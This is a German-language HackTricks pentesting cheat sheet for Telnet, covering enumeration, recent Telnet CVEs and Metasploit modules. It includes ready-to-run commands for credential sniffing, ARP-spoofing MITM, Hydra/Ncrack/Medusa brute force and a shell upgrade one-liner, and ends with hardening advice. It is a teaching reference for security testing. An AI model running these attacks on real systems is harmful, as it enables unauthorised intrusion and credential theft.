23 - Pentesting Telnet
Reading time: 6 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Grundinformationen
Telnet ist ein Netzwerkprotokoll, das Benutzern eine unsichere Möglichkeit bietet, über ein Netzwerk auf einen Computer zuzugreifen.
Standardport: 23
23/tcp open telnet
Enumeration
Banner Grabbing
nc -vn <IP> 23
Alle interessanten Aufzählungen können mit nmap durchgeführt werden:
nmap -n -sV -Pn --script "*telnet* and safe" -p 23 <IP>
Das Skript telnet-ntlm-info.nse
wird NTLM-Informationen (Windows-Versionen) abrufen.
Aus dem telnet RFC: Im TELNET-Protokoll gibt es verschiedene "Optionen", die genehmigt werden und mit der Struktur "DO, DON'T, WILL, WON'T" verwendet werden können, um es einem Benutzer und einem Server zu ermöglichen, sich auf die Verwendung eines elaborierteren (oder vielleicht einfach anderen) Satzes von Konventionen für ihre TELNET-Verbindung zu einigen. Solche Optionen könnten das Ändern des Zeichensatzes, des Echo-Modus usw. umfassen.
Ich weiß, dass es möglich ist, diese Optionen aufzulisten, aber ich weiß nicht wie, also lass es mich wissen, wenn du weißt wie.
Brute Force
Konfigurationsdatei
/etc/inetd.conf
/etc/xinetd.d/telnet
/etc/xinetd.d/stelnet
HackTricks Automatische Befehle
Protocol_Name: Telnet #Protocol Abbreviation if there is one.
Port_Number: 23 #Comma separated if there is more than one.
Protocol_Description: Telnet #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for t=Telnet
Note: |
wireshark to hear creds being passed
tcp.port == 23 and ip.addr != myip
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-telnet.html
Entry_2:
Name: Banner Grab
Description: Grab Telnet Banner
Command: nc -vn {IP} 23
Entry_3:
Name: Nmap with scripts
Description: Run nmap scripts for telnet
Command: nmap -n -sV -Pn --script "*telnet*" -p 23 {IP}
Entry_4:
Name: consoleless mfs enumeration
Description: Telnet enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/brocade_enable_login; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_encrypt_overflow; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_ruggedcom; set RHOSTS {IP}; set RPORT 23; run; exit'
Aktuelle Schwachstellen (2022-2025)
- CVE-2024-45698 – D-Link Wi-Fi 6 Router (DIR-X4860): Der integrierte Telnet-Dienst akzeptierte fest codierte Anmeldeinformationen und konnte Eingaben nicht bereinigen, was eine nicht authentifizierte Remote-RCE als Root über manipulierte Befehle auf Port 23 ermöglichte. In Firmware ≥ 1.04B05 behoben.
- CVE-2023-40478 – NETGEAR RAX30: Ein stackbasierter Pufferüberlauf im Telnet-CLI-Befehl
passwd
ermöglicht es einem benachbarten Angreifer, die Authentifizierung zu umgehen und beliebigen Code als Root auszuführen. - CVE-2022-39028 – GNU inetutils telnetd: Eine Zwei-Byte-Sequenz (
0xff 0xf7
/0xff 0xf8
) löst eine NULL-Zeiger-Dereferenzierung aus, dietelnetd
zum Absturz bringen kann, was nach mehreren Abstürzen zu einem persistierenden DoS führt.
Behalten Sie diese CVEs während der Schwachstellenbewertung im Hinterkopf – wenn das Ziel eine nicht gepatchte Firmware oder einen veralteten inetutils Telnet-Daemon ausführt, haben Sie möglicherweise einen direkten Weg zur Codeausführung oder zu einem störenden DoS.
Abfangen von Anmeldeinformationen & Man-in-the-Middle
Telnet überträgt alles, einschließlich Anmeldeinformationen, in Klartext. Zwei schnelle Möglichkeiten, um sie abzufangen:
# Live capture with tcpdump (print ASCII)
sudo tcpdump -i eth0 -A 'tcp port 23 and not src host $(hostname -I | cut -d" " -f1)'
# Wireshark display filter
tcp.port == 23 && (telnet.data || telnet.option)
Für aktives MITM kombinieren Sie ARP-Spoofing (z.B. arpspoof
/ettercap
) mit denselben Sniffing-Filtern, um Passwörter in geschalteten Netzwerken zu ernten.
Automatisierter Brute-Force / Passwort-Spraying
# Hydra (stop at first valid login)
hydra -L users.txt -P rockyou.txt -t 4 -f telnet://<IP>
# Ncrack (drop to interactive session on success)
ncrack -p 23 --user admin -P common-pass.txt --connection-limit 4 <IP>
# Medusa (parallel hosts)
medusa -M telnet -h targets.txt -U users.txt -P passwords.txt -t 6 -f
Die meisten IoT-Botnets (Mirai-Varianten) scannen weiterhin Port 23 mit kleinen Standard-Anmeldeinformationen-Dictionaries – diese Logik zu spiegeln, kann schnell schwache Geräte identifizieren.
Ausnutzung & Nachausnutzung
Metasploit hat mehrere nützliche Module:
auxiliary/scanner/telnet/telnet_version
– Banner- & Optionsenumeration.auxiliary/scanner/telnet/brute_telnet
– Multithreaded Bruteforce.auxiliary/scanner/telnet/telnet_encrypt_overflow
– RCE gegen anfällige Solaris 9/10 Telnet (Option ENCRYPT-Verarbeitung).exploit/linux/mips/netgear_telnetenable
– aktiviert den Telnet-Dienst mit einem gestalteten Paket auf vielen NETGEAR-Routern.
Nachdem eine Shell erhalten wurde, denken Sie daran, dass TTYs normalerweise dumm sind; aktualisieren Sie mit python -c 'import pty;pty.spawn("/bin/bash")'
oder verwenden Sie die HackTricks TTY-Tricks.
Härtung & Erkennung (Blue Team Ecke)
- Bevorzugen Sie SSH und deaktivieren Sie den Telnet-Dienst vollständig.
- Wenn Telnet erforderlich ist, binden Sie es nur an Verwaltungs-VLANs, erzwingen Sie ACLs und umhüllen Sie den Daemon mit TCP-Wrappers (
/etc/hosts.allow
). - Ersetzen Sie veraltete
telnetd
-Implementierungen durchssl-telnet
odertelnetd-ssl
, um Transportverschlüsselung hinzuzufügen, aber dies schützt nur Daten im Transit – Passwort-Raten bleibt trivial. - Überwachen Sie den ausgehenden Verkehr zu Port 23; Kompromittierungen erzeugen oft Reverse-Shells über Telnet, um strenge HTTP-Egress-Filter zu umgehen.
Referenzen
- D-Link Advisory – CVE-2024-45698 Kritische Telnet RCE.
- NVD – CVE-2022-39028 inetutils
telnetd
DoS.
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.